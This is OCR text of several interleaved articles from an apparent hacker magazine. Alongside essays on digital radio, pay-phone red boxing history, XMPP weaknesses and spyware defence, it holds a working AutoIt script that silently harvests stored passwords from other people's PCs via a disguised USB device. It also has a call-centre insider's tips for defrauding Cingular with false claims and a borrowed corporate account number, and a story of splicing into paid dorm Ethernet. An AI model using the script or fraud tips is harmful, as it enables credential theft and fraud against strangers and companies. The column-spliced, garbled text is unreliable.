you caLL if you want to quit CinguLar. 

We use two systems to take our caLls: Care and 
TeLegance, two shitty programs made in VisuaL 
Basic and they crash aLL the time. We rely on a 
very shitty system for information when you caLL 
that is named CSP. ALL CinguLar stores have access 
to this too. We hate taking caLls from CinguLar 
stores. Those peopLe think they are so great, but 
really aLL the bosses and upper LeveL management 
in our caLL centers and corporation think the peo
pLe who seLL phones in the store are LittLe bitches 
on a power trip, and we Laugh behind their backs 
and teLL them to fuck off aLL the time. 

We can make data changes, reset your pass
word, and check to see if everything is provi-
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sioned correctly in a java program called 
Snooper. If our systems ever crash while you are 
on the phone with us we can't tell you because 
Cingular says that will make the customer lose 
faith in our company. We crash all the time. 

Also, Cingular is releasing push to talk tech
nology because they are scared of being knocked 
out of the market by everyone else while Verizon 
actually has a better push to talk system even by 
our own flowcharts. 

If you ever threaten to leave us if we don't 
give you something, most of the time we can give 
it to you, including credits. By order we have to 
save you from paying your early termination fee 
to go to another company, so when you want to 
threaten us, ask what the fee for your " ETF" is. 

A common trick to get free time and credits at 
Cingular or the former AT&T Wireless (usually the 
same reps) is to say you have a lot of dropped 
calls. You can just say everywhere you go the calls 
are dropping off. Most of the time you can get 
100 free anytime minutes or more, depending on 
how nicely you word it. If a rep ever tells you that 
they are getting permission to add a credit from 
their manager, they are simply putting you on 
hold for a few minutes to pretend to do that to 
negotiate you down on your bill more. This is a 
trick that is taught to all reps in Cingular train
ing. 

You can always get a discount on your account 
by calling up and saying you have a " FAN" number 
but you lost it. A FAN number is a foundation ac
count number. It belongs to a business. General 

The past century has seen many changes in 
the way radio content is delivered. Outside of 
amateur radio, the dits and dahs of morse code 
no longer fill the airwaves, FM broadcasting lis
tenersh ip far outweighs the number of those still 
tuning into the AM ( M W) bands, satellite radio is 
becoming a standard feature in cars, and "pod
casting" seems to be the new buzzword amongst 
the youth. Most of the changes have been posi
tive, expanding the medium and improving its 
overall quality, while others threaten the very 
nature of radio itself. Shortwave broadcasts have 
always been an excellent source of international 

Electric has the biggest FAN account with compa
nies like Universal Studios under it, but the U .S.  
Postal Service gets a nice 25 percent off their bill 
at a time. Just find some number that is discon
nected and tell them it's your HR department and 
that you work for a big company and they will at
tach their discounts to your account. Remember 
you will also be entitled to two free phone up
grades a year which can get you really cheap de
vices and more. 

Also, if you want Roadside Assistance, always 
remember you get it two months free every time 
it is added to your account. So get it for two 
months at a time, cancel it, then ask for it again 
the same day with a different rep. It will work like 
a charm so you always get it for free. 

The cell phone company is a greedy slimy gi
ant corporation that wants to fuck you over. Why 
not get your own piece of the pie and fuck them 
too? A few things to say to the reps while you're 
talking to them to mess with their heads: "Are 
you a blue rep or an orange rep? " " H ave you 
called the res or tech department today to see if 
all my features are provisioned correctly on this 
account? " " H ow often do you call res desk for 
help?" "What's your average hold time? Do you sit 
in ACW a lot? " "I hope your save team can stop me 
from paying my ETF. " 

Since writing this article I quit a couple of 
days ago. So fuck Cingular Wireless and the for
mer AT&T Wireless. I am too cool to go back. 

news and perspective, while AMjFM broadcast 
bands keep us up to date with local events. Any
one can take a receiver, be it made in the last 
month or left over from the days of vacuum 
tubes, and tune into any number of local or in
ternational stations packed with news, enter
tainment, and of course, propaganda. You 
choose what you want to hear, and it's all avail
able for free. 

But the days of the average person listening 
to international shortwave broadcasts are 
quickly passing, causing stations such as the 
BBC World Service to cease their broadcasts to 
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North America, yet mi LLi ons  are wi LLi n g  to pay fo r 
a subscription to sateLLite radio .  Frequencies now 
broadcasti ng  anaLog teLevisi on  sig naLs wi LL be
come si Lent  in just a few years, and in thei r  pLace 
wi LL be private content, owned and controlled by 
the h ig hest bidder. New proprietary digitaL mod
uLatio n  schemes on our broadcast bands 
th reaten to quickLy antiquate billi ons  of radios, 
as weLL as our freedom to choose what we Listen 
to. Licensi ng  on new moduLati o n  schemes pre
vents hobbyists from writi ng  thei r  own software 
to dem oduLate si gnaLs that were previousLy com 
pLeteLy open .  Where is aLL of t h i s  Leadi ng?  Into 
the hands of private enterprise, i t  seems. Whi Le 
corporations  have aLways had some  contro L over 
the content on our ai rwaves, we now seem to be 
much m ore wi LLi n g  to give up the medium than 
ever before. 

In 2001 and 2002, the radio i n dustry saw two 
new pLayers: XM and Si rius. These companies, af
ter paying nearLy $80 mi LLion each to the FCC for 
frequen cy aLLocati on  i n  the 2 . 3G H z  band, became 
the first two com merciaL satellite radio providers 
in the United States. In just a few years, both 
companies saw exponentiaL growth,  with m i L
Li ons  of new customers subscribi ng  to thei r  ser
vice in Later years. It's not cheap, either. The 
current $ 12.95 a m onth pLus setup fees is  a far 
cry from the free LocaL broadcast radio we're aLL 
used to tun ing  i nto on our way home  from wo rk. 
But where eLse can you turn to get h igh  quaLity 
com merciaL-free content that follows you around 
on  those cross-country trips? 

WeLL, at Least one of those clai ms  is  true. 
Let's fi rst take a Look at some of the techno L

ogy beh ind  satellite radio .  Both providers Live i n  
t h e  microwave S-band: Si rius from 2 .320G Hz  to 
2 .332 5 G H z  and XM fro m  2.3325G H z  to 
2 .3450G H z, with 1 2 . 5 M H z  of bandwidth each .  
Accordi ng  to Ch riss Scherer's article " The  FinaL 
Countdown for SateLLi te Radio "  in Radio Times, 
the totaL data th roughput is 3 .28Mbps. AnaLysis 
with the S hannon-Hartley theorem shows that 
this is a fairly conservative data rate, aLlowi ng  
for receptio n  of si gnals that are weaker t han  t he  
background n oise LeveL (as is com mon with 
spread spectrum m oduLation  schemes). This aL
Lows for decent reception in n oisy or weak signaL 
areas, but is aLso a very crippli ng  bandwidth li m 
itati on  for t h e  providers. 3.28Mbps isn't much, 
and with  modern encodi ng  aLgo ri thms  requiri ng  
at  Least 64Kbpsjchan nel (or  sLi g h tly Less for taLk) 
to reproduce acceptabLe soundi n g  music, they're 
quite Li mited in the number of channels that 
they can offer - un Less they decrease the band
width used by each and, aLo ng  with i t, audio 
quality. Si rius promises over 125 channels while 

XM promises 160. But how? At 64Kbps, they 
shouLd o n Ly be able to fit 50 or so channeLs n ot 
counti n g  any additi o naL  overhead. So they obvi
ously decrease the bandwidth consumption  even 
m o re to cram in that many channeLs, resuLting in  
audio quality that can no longer compare to  
what's offered by  LocaL FM broadcast stati o ns. 
And peopLe are payi ng  fo r it! 

WeLL, that's fine. They're not i nterfering with  
the conventi o naL broadcast bands, peopLe seem 
to Like i t, and it's up to the consumer to sub
scribe anyway. So where's the harm?  My concern 
stems fro m  thei r  success. We no Longer seem to 
care about the fideLi ty of what we listen to and 
whi Le many wouLd clai m that this is unfounded 
and that satellite radio "sounds just fi ne," con
sider, fo r a m oment, ceLLuLar phones. Little m o re 
than a decade ago, nearLy aLL celluLar teLephones 
used the AMPS protocol, which was little m o re 
than some digitaL signaLi n g  on top of a pureLy 
anaLog voice channel. We're taLki ng  about reaL 
narrow bandwidth anaLog FM here - h igh  quality 
stuff. The voice quality was m o re limited by the 
teLephone network's codecs than by the wi reLess 
m odulati on  scheme and the caLls sounded g reat. 
As m o re and mo re people began usi ng  the ceLLu
lar networks, more efficient use of the spectrum 
was necessary to keep up with the caLL voLume. 
As the years progressed, new digitaL standards 
(TDMA, COMA, GSM,  etc.) were introduced, giv
i n g  providers a way to Li mit  the bandwidth used 
by each chan nel. Mo re time  went by and 
providers began doi ng  everythi ng  they possibLy 
couLd to i ncrease the capacity of their  ceLL sites, 
Li miti n g  bandwidth as m uch as possibLe and Leav
i n g  us with what we have today: Little m o re than 
bareLy inteLLigibLe shitty soundi ng  audio .  And 
you can't argue with that! 

Whi le sateLLite radi o is reaLLy i ts own beast, 
new digital m odulati o n  methods are being 
tested on our conventi onaL broadcast bands as 
weLl. A good exampLe of this is DRM (DigitaL Ra
di o MondiaLe), which is an open standard for 
broadcasti ng  data i n  low bandwidth conditi ons  
usi ng  in-band on-channeL  (IBOC) tech no Logy. 
DeveLoped for cheap and easy i mpLementation ,  
DRM can be  uti Lized with preexisti ng  transmit
ters and receivers, requi ri ng  o n Ly m ino r  modifi
cati o n .  ALthough i t  can be used on any of the AM 
bands, i t  i s  n ow m ost com m only found i n  the 
shortwave bands. DRM promises to i ncrease the 
audio quaLity of these low bandwidth AM broad
casts, althoug h  a DRM capable receiver (or a 
modified conventi onaL receiver with software de
coding) is required. It aLLows for a choice of 
th ree MPEG-4 audio codecs, depending on con
tent type: H E-AAC for h igher-quality audio and 
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CELP or HVXC for low bit rate voice-only audio .  
DRM can operate within the standard frequency 
allocations (i .e . ,  the 10kHz  channels which are 
already assigned) in either a hyb rid mode 
(AM+ DRM) or DRM-only mode, and allows fo r 
multi ple digital channels to be present. It can 
even be used with a bandwidth of 20kHz  fo r 
higher quality audio or channel multiplexing but 
requi res two adjacent channels to be allocated to 
the stati on, something many broadcasters do 
not have available. Bit rates fo r single channel 
(10kHz) operati on range from BKbps to 20Kbps, 
and up to 72Kbps if  more bandwidth i s  used. 

DRM can be considered a step forward fo r the 
shortwave li stening community, whi ch is often 
plagued with fading as well as manmade and at
mospheric noise. Good DRM decoders can often 
overcome these issues, resulting in clear, stati c
free audio .  The meta-data included in DRM 
b roadcasts can also help identify the station and 
content, a feature that's extremely useful when 
tuning around the enormous realm of the sho rt
wave bands . There have already been many radio 
hobbyists who have posted instructions fo r mod
ifying popular sho rtwave receivers fo r use with 
software decoders (both open source and com
mercial) which utilize a PC and a sound card, al
lowing for extremely low cost DRM reception. As 
more and more stations begin implementing 
DRM ,  my hope is that it wi ll b reathe more life 
into the overall interest in these fascinating 
bands. 

Not  all of the new di gital methods, however, 
have these benefits . Many commercial stations 
in the FM b roadcast band are now touting the 
phrase " . . .  now b roadcasting in high-definition 
H D  Radi o ! "  Despite being completely inaccurate, 
not much detail about the technology is being 
presented by the stations, leaving customers 
puzzled about what i t  all actually means. In fact, 
H D  Radio actually stands fo r Hybrid Digital Ra
dio, another IBOC digital encoding method de
veloped by iBiquity and approved by the FCC fo r 
use in 2002. But unlike DRM,  H D  Radio is propri 
etary, thus thi rd parties wishing to integrate the 
technology into a receiver must pay li censing 
fees to the company. Although i t  seems that 
most stations are sti ll in a "testing" phase, hid
den dangers exi st if the standard catches on. For 
now, H D Radio operates on the sub-carriers of 
FM stations - that is ,  beyond the bandwidth re
qui red for the L +R (monaural) baseband signal 
(0 - 15kHz), usually just above the L-R (stereo) 
si gnal (23 - 53kHz) and RBDS (Radio Broadcast 
Data System - 57kHz) sub-carrier. That's already 
a lot being jammed into the 200kHz  bandwidth 
allocation and, acco rding to Carson's Rule, all 

that "stuff' with a 7 5kHz  deviation is already ex
ceeding the limit. H D  Radio promises to extend 
the used bandwidth to almost 400kHz  and can 
end up causing some serious interference p rob
lems, even though most areas have stations 
spaced at least two channels (400kH z) apart. Re
ceiving those distant FM stations stuck in be
tween the locals will quickly become a thing of 
the past. 

All of thi s, again, does not help audio quality. 
FM b roadcasting in i tself is an extremely hi gh 
quality means of transmitting audio, the pass
band being from 50Hz to 15kHz, an enormous 
chunk of the audible frequency range. In fact, 
many people cannot even hear much past 15kHz, 
let alone below 50Hz .  High quality receivers can 
reproduce extremely good audio in strong si gnal 
areas without the need for any type of digital 
modulation. As we've seen with other forms of 
digital modulation, stations wishing to add more 
"channels" to thei r b roadcasts will decrease the 
bit rate available to each, leaving us with more 
crappy audio .  iBiquity's hold on thei r proprietary 
technology i s  also a huge danger to us, the hob
byists .  We can't easily investigate the quality of 
thei r encoding or implement our own method of 
decoding without legal ramifi cati ons. While we 
have free range to tinker with open standards 
such as DRM ,  our hands are tied when it comes to 
H D  Radio .  Worse, if the standard sti cks, stations 
will begin using more and more bandwidth for 
the digital modulation until the enti re b roadcast 
i s  in proprietary H D  Radio fo rmat by fi rst remov
ing the stereo separation data, then the enti re 
analog si gnal, leaving no fallback and bi llions of 
antiquated radios .  

Clearly, thi s i s  the wrong path for us .  The im
po rtance of open standards is rarely ever under
stood in the co rpo rate community, yet 
hobbyists, those who develop much of the tech
nology in use by the co rpo rate world, have al
ways seen the need for them. Histori ca lly, 
demand for competiti on has sorted thi s out, but 
in an age when monopolies seem to be sprouting 
up in all so rts of niche markets, I 'm afraid of 
what might possi bly happen if i t  doesn't. I've 
covered only a few of the new concerns in radio, 
but there's so much more out there: the threat of 
" rights management" on top of digital radio, 
BPL's (Broadband over Power Lines) interference 
to our sho rtwave bands, the sale of portions of 
our b roadcast spectrum to private enterprise, 
and more. We've fought simi lar battles befo re. 
This is yet another that needs our attention. 
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Not Quite Dead Yet 
- The Cu rrent State of Pay Phone , 

and Red Boxi ng i n  the Un ited 
by Black Ratchet 

blackratchet@blackratchet.org 
Every time someone asks "Can I stilL red box?" 

the constant murmur of the peanut gaLLery echoes 
in repLy "Oh!  Red boxing is dead! You can't do that 
anymore! "  Apparently because AT&T shut down 
their ACTS Links, everyone thinks that every other 
phone company did too. Au contraire. 

Now for those of you thinking "Red boxing? 
ACTS? AT&T? Phones?" Let's sit down and expLain. 

In the beginning, Ma BeLL created the pay 
phone, and Lo, she smiled and said it was good. 
The first coin phones for the BeLL System were 
manufactured by the Gray TeLephone Pay Station 
company in 1898. From 1898 up untiL the 1970s in 
some pLaces, it was impossibLe to diaL your own 
Long distance caLLs without the assistance of an 
operator first. The originaL pay phones produced 
by Gray - and after Gray's patents expired, the BeLL 
System - were referred to in the vernacuLar as 
"three sLot" pay phones. They had separate sLots 
for nickeLs, dimes, and quarters. When you placed 
a Long distance caLL, you first diaLed the operator 
and gave her the number. Then she wouLd ask you 
to deposit the amount of the initiaL rate into the 
phone. When you did, the coins wouLd activate 
mechanicaL beLLs in the pay phone: one ding for a 
nickeL, two dings for a dime, and a resounding 
gong for a quarter. After hearing the right amount 
of beLls, the operator wouLd put your caLL through. 
This system had numerous drawbacks: nameLy, the 
operator needed to be on the Line when the coins 
were deposited, and the operator couLd be fooLed 
by something as a simpLe as a tape recording. 

Around the mid 1960s, the three sLot pay 
phones started getting phased out and the BeLL 
System started phasing in newer "singLe sLot" pay 
phones. These, as the name Leads you to beLieve, 
had one sLot. and instead of beLLs, they used a sin
gLe frequency tone of 2200Hz when coins were de
posited: one puLse for a nickeL, two for a dime, and 
five for a quarter. However, as 2200Hz was "taLka
bLe, " as in you can "inadvertently" make a 2200Hz 
tone with your voice, an automated system couLd 
not be used to determine if you deposited coins. 
Ma BeLL did not want someone with a high squeaky 
voice accidentaLLy getting free time on his or her 
phone caLL! Since there was no automated system, 
Long distance phone caLLs still had to be handLed 

by humans. Operators stiLL h 
Lect, coin return, and caLL 

This changed in 1978 
"Automatic Coin ToLL Service."" � ' ",/ , . 

ACTS aLLowed the network '0 automatica lly col
Lect coins for Long distance by Listening for � 
tones from the pay phone. ACTS addressed th 
sue of "taLkabiLity" by making the coin tones muLti
frequency, that is, overLaying 1700Hz on top of the 
2200Hz  signal. PeopLe cannot make an MF tone by 
taLking, thus ensuring that peopLe wouLd not get a 
free ride. 

This was considered fooLproof. Riiiiiight . . . .  
Phreaks and phoLks quickLy figured out the new 

system and the era of "red boxing" in the 1980s 
began in earnest. PeopLe found they couLd easily 
fooL the new system by pLaying tapes of coins into 
the handset or rewiring Radio Shack tone dialers. 
A toLL fraud arms race quickLy deveLoped between 
the phone companies and the fraudsters. The 
phone company wouLd find out a way of stopping a 
certain technique and peopLe wouLd find a way to 
work around the restriction. PeopLe wouLd red box 
free phone caLls across the United States with 
abandon. 

This continued up until mid-2001 when AT&T 
puLLed the nuclear option. Citing declining rev
enues and massive overhead, AT&T petitioned the 
FCC to shut down its nationwide ACTS system. In 
mid-to-Late 2002, the cord was pulled and the 
fraudsters cried out into the night. PeopLe gave up 
on their red boxes and put them into the trash to 
join the bLue boxes aLready at the dump. The end, 
right? 

No. 
While nationwide ACTS has been discontinued 

by AT&T, everyone seems to have forgotten that 
ACTS as a system is still in use by other phone 
companies. Verizon, AT&T (formerLy SBC), and 
Qwest aLL stiLL have ACTS systems active within the 
United States. The catch? They are onLy used for 
LocaL toLL caLLs. (By the way: BeLLSouth customers? 
You Lose. BeLLSouth removed the whoLe coin phone 
kit and kaboodLe around 2001 or so .) 

What is "LocaL toLL" you ask? WeLL, in 1984 after 
the BeLL System breakup, the BeLL System was bro
ken up into smaLLer LocaL teLephone companies, 
while AT&T was given the Long Distance portion of 
the network. Now, what was stopping the smaLLer 
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companies from carrying their own Long distance 
caLLs between areas they cover? The agreement 
dictated that the United States was to be broken 
up into "LocaL Access Transport Areas, "  otherwise 
known as LATAs. The agreement stated that the Lo
caL teLephone companies couLd carry their own 
traffic for caLLs within a LATA, but if it was between 
LATAs they needed to hand it over to a Long Dis
tance provider, such as AT&T. 

What does that have to do with red boxing? 
WeLL, say I am in Boston, which is within LATA 128. 
That means I can caLL within eastern Massachu
setts and stiLL have the phone caLL go exclusiveLy 
over Verizon New EngLand's equipment. However, 
if ! caLL to Western Massachusetts, New Hampshire, 
or Rhode IsLand, while still within Verizon's cover
age area, it needs to go over a Long distance ser
vice. The upside for this is that for intra-LATA 
teLephone caLLs, Verizon thankfuLLy uses an ACTS 
system aLLowing me to enjoy the sweet sound of a 
teLephone network handLing my coin control. 
Other Less scrupuLous peopLe can aLso abuse this 
system with a red box. 

There are a coupLe of caveats to this: You are 
unLikeLy to find an ACTS controLLed pay phone that 
is not owned by your LocaL Exchange Carrier (LEC: 
Verizon, AT&T (formerLy SBC), or Qwest depending 
on where you are in the U.S.), and LECs are aLso 
moving away from ACTS for the same reason AT&T 
did, so it's sLowLy disappearing. The best way to 
find an ACTS phone is to Look for an oLd BeLL pay 
phone owned by your LEe. The next step is to diaL 
a number that is outside your LocaL caLLing area but 
inside your LATA, and then wait to see what hap
pens. If the voice asking you to deposit money 
sounds more Like a recording then a synthesized 
computer voice, you have a shot. Flash the hook, 

by graphak 
This is for informational purposes only. I don't 

recommend trying it. 
While attending a well known and respected 

university in the U.S., I was naturally wondering 
about the Internet service in the dorms. Inside of 
my dorm's closet I discovered a paneL in the waLL 
that came off after removing a few screws. I 
stared in disbelief at the number of possibilities 
that potentially awaited. I could see water pipes 
compLete with nozzLes, teLevision cabLes, and, 

and if an operator comes on asking you for money, 
congrats. You are LikeLy on an ACTS system. 

Now, a minor rant: You'LL note that I referred to 
red boxing repeatedLy as "fraud" and the users as 
"fraudsters." Why, you ask? Because they are. 
Phone phreaking is not about getting free phone 
caLls, it's about understanding how the phone sys
tem works. Phone phreaks don't do toLL fraud, and 
peopLe that do are the same kind of peopLe that 
break into computer systems and caLL themseLves 
hackers. I do not condone toLL fraud in any way, 
shape, or form,  and I'm onLy presenting this info 
to once and for aLL stop the misinformation given 
when peopLe ask "Hey, does red boxing stiLL work?" 

For those of you who are unLucky enough to 
not have access to an ACTS pay phone or are just 
interested in Listening to what a normaL ACTS 
phone caLL sounds Like, I wiLL humbLy pLug both my 
own website at www.bLackratchet.org and Strom 
CarLson's website at www.stromcarLson.com. Both 
contain recordings of ACTS caLLs in action, among 
other recording of teLephonic goodness. Also, to 
hear the oLder styLe "three sLot" pay phones, I 
heartiLy recom mend www.phonetrips.com. If coin 
phones are your thing, I again humbLy recommend 
checking out my own project, Yet Another Pay
phone List at www.yapl.org, ElJefe's Payphone Di
rectory at www.payphone-directory.org, the 
Payphone Project at www.payphone-project.com. 
or finaLLy, the ever interesting www.phones 
"warm.com. 

Shouts to The Digital Dawg Pound, Strom Carl
son, Evan Doorbell, Bill from New York, The Mark 
Bernay Society, Boston 2600, and all the phreaks 
and pholks at the Binary Revolution Forums 
(www.binrev. com/forums). The Revolution Will Be 
Digitized! 

best of aLL, the ethernet cabLes that ran to the 
rooms above my floor. The dorm that I was in was 
oLd but stiLL functioning. It was not due for a ren
ovation quite yet, mostly because of money grub
bing university presidentiaL behavior. 

For every floor there were about ten rooms 
which were supposed to house four peopLe each. 
That means that there were 40 ethernet jacks per 
floor. The cables ran up the same hoLe from the 
bottom floor to the top, so if I was on the top 
floor I'd probabLy onLy see four cabLes in the "se-
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cret" (what a joke) closet panel. If I was on the 
bottom floor of the ten story building, I'd see 40 
ethernet cables running through my closet! I de
cided to change rooms and move closer to the 
ground. 

Immediately after relocation, I took off the 
panel in the closet and found an abundance of 
cables. I decided to splice my ethernet cable into 
one of them. (This non-factory wiring job cost a 
very small amount of speed since CAT-5 cables are 
twisted in a certain manner to deliver best per
formance.) 

My university had a system where individual 
roommates would pay for their own net service, 
so it was just a matter of time before I spliced 
into a cable that had been activated and was be
ing paid for. I then had no choice but to share 
the bandwidth with them, but it caused very few 
if any problems. For one, it was a T-3 backbone 
i .e. ,  very fast, and two, most college kids use the 
Internet for viewing pages that are not very 
bandwidth intensive. 

I did this for two academic years without rais
ing an eyebrow. In my third year I lucked out and 

by Rob 
"My iPod's dying. Mind if I plug it into your PC 

for a second to charge up? " With those simple 
words, you can have some serious fun. You need 
only two things: an mp3 player that functions as 
a USB device and a little knowledge of a scripting 
language. I use AutoIt. 

Here's what to do: Grab a couple of programs 
from nirsoft.net. These were reviewed in 2600 
earlier this year. The ones I use are: 

MessenPass (http://www.nirsoft.netjutils/ 
-mspass.html) - Recovers the passwords of in
stant messenger programs like Yahoo Messenger, 
MSN Messenger, Trillian, and more. 

Mail PassView (http://www.nirsoft.netjutils 
-jmailpv.html) - Recovers the passwords of pop
ular email clients like Outlook Express, MS Out
look, Eudora, Mozilla Thunderbird, and more. 

Protected Storage Pass View (http://www.nir 
-soft.netjutilsjpspv.html) - Displays all pass
words and AutoComplete strings stored in your 

got a geek for a roommate, and shared his con
nection. I had to clone my IP to his however, but 
the rest was the same. I accidentally shut the 
school's network down for 15 minutes while test
ing some scripts, and guess who came knocking. 
The IT guys recorded the offending IP and woke 
me up from a fake sleep to "check out my com
puter. " I played dumb and they went away, but 
not after changing my settings and telling me I 
needed to pay for the net from then on. 

Moral: Not all schools are this oblivious or 
outdated. However it might be worth a try to look 
around for fake or hidden panels if you live in a 
dorm or a prewired apartment complex and check 
for cables. Also this year they changed the sys
tem and it now requires your student ID number, 
which is a whole other story and not hard to get 
around since most use a nine digit number with 
the first three being mostly the same for every
one. Check to see if your school is outdated and if 
you can get free high speed net. (It should be 
free anyway in my opinion.) 

Protected Storage. 
Network Passwor�ecovery (h�j jwww.nir 

-soft.netjutilsjnetwork_password_recovery.html) 
- Freeware utility that recovers the network pass-
words stored by Windows XP.'" I I  

There is  also a key finder and a history 
browser if that's your thing. Put all of those pro
grams into a folder on your MP3 playerjUSB de
vice and get scripting. The script I wrote rims  all 
four programs silently, dumps the results to text 
files on the USB drive, creates one master text 
file with a name correlating to the date time 
stamp of when I ran it, then deletes the extrane
ous files. I use the timestamp as a name. That 
way I can run it multiple times on different PCs 
without having to move files. 

With AutoIt I compiled the script to an EXE 
and assigned it an iPod icon. You can use any icon 
you think would be non-obvious. It's silent, 
opens no windows, and takes about four seconds 
to run. 
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Run this on a public Pc. at your computer lab, 
or at your library and you will be amazed at the 
amount of passwords and stored information you 
come away with .  

Now I should warn you, this i s  only for fun, 

only to laugh at people who save their info on 

public pes, not for hacking or anything malicious. 

Enjoy. 

The script follows: 

Run ( @ ComSpec & ' /k " . .  \ Pa s sword \ So f tware \ P SPV . exe / s text 
. .  \ P as sword\New \ P S PV . txt " ' ,  @ Sc r iptDir , @ SW_H I DE ) 
s leep ( 2 0 0 ) 

Run ( @ ComSpec & ' /k " • •  \ P a s sword \ S o f tware \ IM . exe / s text 
. .  \ P as sword\ New\ IM . txt " ' ,  @ S c r iptDir , @ SW_H IDE ) 
s leep ( 2 0 0 ) 

Run ( @ ComSpec & ' /k " . .  \ P a s sword \ S o f tware \ Ma i l . exe / s text 
. .  \ P a s sword\ New\Ma i l . txt " ' ,  @ S c r iptD i r , @ SW_H I DE ) 
s l eep ( 2 0 0 ) 

Run ( @ ComSpec & ' /k " . .  \ P a s sword \ Softwar e \ Network . exe / s text 
. .  \ Pa s sword \New\ Network . txt " ' ,  @ Sc r iptDir , @ SW_H I DE ) 
s l eep ( l O O O ) 

Run ( @ ComSpec & ' /k " COpy . .  \ P a s sword\New\ * .  txt . .  \ p a s sword\ New\ a l l . txt " , , 
leep ( 1 0 0 0 ) 

Dim $ D ateT ime , $Location , $ F i l eName 
$ DateT ime = @ YEAR & " - " & @ MON & " - " & @ MDAY & " " & @ HOUR & 
" - " & @ SEC 

& @MIN & 

$Location = @ Work ingDir & ' \ new\ ' 
$ F i l eName = " a l l . txt " 
F i l eMove ( $ Location & $ F i l eName , $Location & $ DateT ime & " . 10g " , 1 )  
s l eep ( 2 0 0 0 ) 

Run ( @ COmSpec & ' / k  " de l  . .  \ Pas sword\ New\ * . txt " ' ,  @ Sc r iptD i r , @ SW_H I DE ) 
s l eep ( 1 0 0 0 ) 

A Loo k  at 

Jabber IIMPP 
by windwaker 

windwakerl0l@gmail.com 
After the release of Google Talk, where Google 

set up a Jabber server and released a Jabber 
client, we should take a look at the possible de
sign vulnerabilities in the protocol Jabber uses, 
XMPP (Extensible Messaging and Presence Proto
col), as over a thousand people were able to log 
into the unannounced Google Talk server before 
the program was even released. 

To log into a Jabber server, information is 
sent in the form of user@domain/resource 
(called a JID), followed by the password. This 
data is sent through a TCP connection, so sniff
ing a password wouldn't be hard at all. The server 

then establishes a connection with the authenti
cation server and sends an XML stream to it with 
the information the Jabber server received from 
the client (i .e . ,  when you log into Google's Jab
ber server, talk.google.com, it opens a connec
tion with maiL.google. com to see if you have a 
legitimate mai l account). 

When the client wants to send a message to 
another user, it initiates a TCP connection and 
sends data to the Jabber server, which either 
routes an XML stream of the message to another 
user on that messaging network or routes it to a 
foreign messaging network server. This inher
ently is good. Everything is routed through a sin
gle server rather than setting up direct 
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connections with other users, giving clients more 
power. 

A p roblem with this is that the p rotoco l makes 
everything too compartmentalized. Fo r instance, 
let's say that there is a message that can be sent 
through the Jabber server and into a foreign 
messaging network that only crashes the foreign 
messaging netwo rk's clients, or even its servers. 
If the data isn't cleaned p roperly when sent to 
the Jabber server, then it could be the foreign 
networks that the data is being sent to are at 
risk. The Jabber server does not have enough in
formation about the foreign network's server. 
Therefore it can't be secure p reemptively. 

When a message is sent to a Jabber server, 
the Jabber server creates an XML stream that it 
sends to the client receiving the message. The 
huge exp loit here would be sending data directly 
to a client while spoofing your hostname so that 
it appears that you are the Jabber server. You 
could appear as if you are anyone. H owever, one 
could skip all authentication while logging into 
the server. 

Incompatibility between Jabber and foreign 
network servers could also be a majo r  issue in the 
futu re. If the foreign network's client p rograms 

by FreeRider 
Over the last decade, spyware has p rogressed 

from a simp le app lication that generates pop-up 
ads and spam email to a full-fledged security 
threat. As advertising companies like 180 So lu
ti ons and Doubleclick continue to lose money, 
the focus of spyware vendors is rapidly shifting 
to covert means of dep loying their app lications 
onto a system in order to continue revenue gen
eration. In order to facilitate this, spyware devel
opers are bringing in experts to design 
app lications that can slip th rough network secu
rity and continue to subvert security measures by 
embedding fail-safe mechanisms in the operating 
system and changing app lication p roperties, 
which the security industry is labeling "mutating" 
and "hyper-mutating spyware." In addition, spy-

don't check if the data has been routed through 
the authentication server, peop le could imitate 

other users by sending information that mimics a 

Jabber server and p retending that the data had 

been authenticated already. This would work 

both ways, too. A user on a foreign network could 

send information to Jabber servers while avoid

ing authentication from the foreign network's 

servers with the ability to skip the entire authen

tication server p rocess in the XMPP p rotoco l. Two 

messaging networks would have to share almost 

total information about their servers to be able 

to set up a secure, inter-networking messaging 
service. And when there are corpo rations like AOL 

that can't even keep their own networks foo l

p roof, I do not see th is happening. 
While compatibility between foreign networks 

seems convenient, a single user spoofing a fo r

eign network server is a p roblem that the XMPP 

p rotoco l has not been able to get around and 
cannot feasibly defeat. Fo r mo re information on 

the XMPP p rotoco l and the RFC, go to 

http://www.xmpp.o rgj. 

ware vendo rs are utilizing custom-coded attacks 
that are designed to target a specific operating 
system, browser, and, in extreme cases, corpo
rate networks. The current methods of detecting 
and removing spyware are quickly p roving inef
fective against custom-coded and mutating spy
ware because the signature files utilized by your 
typical spyware removal tool cannot keep up with 
the changing spyware app lications. Furthermore, 
once a threat has compromised a system, the 
spyware app lication has the opportunity to stop  
any security app lications in  use on the system. 
Network security administrators will need to shift 
their mindset on the spyware threat from it being 
a simple nuisance to a full-blown security breach. 
Utilizing layered security measures provides the 
best means for stopping spyware at the front end 
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(gateway) and detecting/removing threats that 
penetrate the security peri meter. 

Understanding the Threat 
If you want to defeat the spyware threat, you 

need to understand how the threat works. The 
first concept to understand is the dep loyment 
methodology. Most spyware installers actually 
bundle a number of app lications together which 
resu lts in the installer dep loying adware, spy
ware, and/or malware. Spyware installers com
monly dep loy throug h  the following methods: 
opt-in installation ( pays for "free software"), 
drive by installations ( hidden scri pts written into 
web pages), ActiveX installers, and browser ex
p loits (MHTML, JScri pt, etc.). Unlike viruses, spy
ware is written by a team of engineers with 
financial backing which resu lts in spyware com
panies developing sophisticated applications. 
Spyware app lications wi ll now embed themselves 
into the as to prevent uninstalling the spyware, 
retrieve updates from the Internet, and download 
new app lications in segments only to compi le 
them at a later ti me. So once the spyware in
staller successfully dep loys i ts payload, the sys
tem is compromised. 

Threat Assessment 
Rootkits are the latest buzz word in the spy

ware sector. Whi le the threat of rootkit bundling 
is becoming more prevalent, the existing mal
ware threats are often overlooked. Spyware ap
p li cations can bundle a number of app lications, 
including keystroke loggers, p hone dialers, 
packet sniffers, and remote control software. 
More i m portantly, spyware is a covert threat, 
which means it does not want to be found and 
wi ll be designed to evade detection. 

Defeating the Threat 
As I stated earlier, layered security is the best 

method for defeating spyware, which I classify 
into the following categories: network, desktop 
settings, and desktop app lications. 

Network: If you are running a fi rewall, lock 
down the ports and block sites known to dep loy 
spyware. Also, turn up your logging to monitor 
both inbound and outbound traffic. This wi ll al
low you to identify where an app lication is  send
ing requests on the Internet. If you are fortunate 

enoug h  to use a content fi lter or intrusion detec
tion application, set it to search for mali cious 
scripts and app lications. There are a number of 
app liances on the market to lock down network 
traffic. 

Desktop Settings: This is  the second line of 
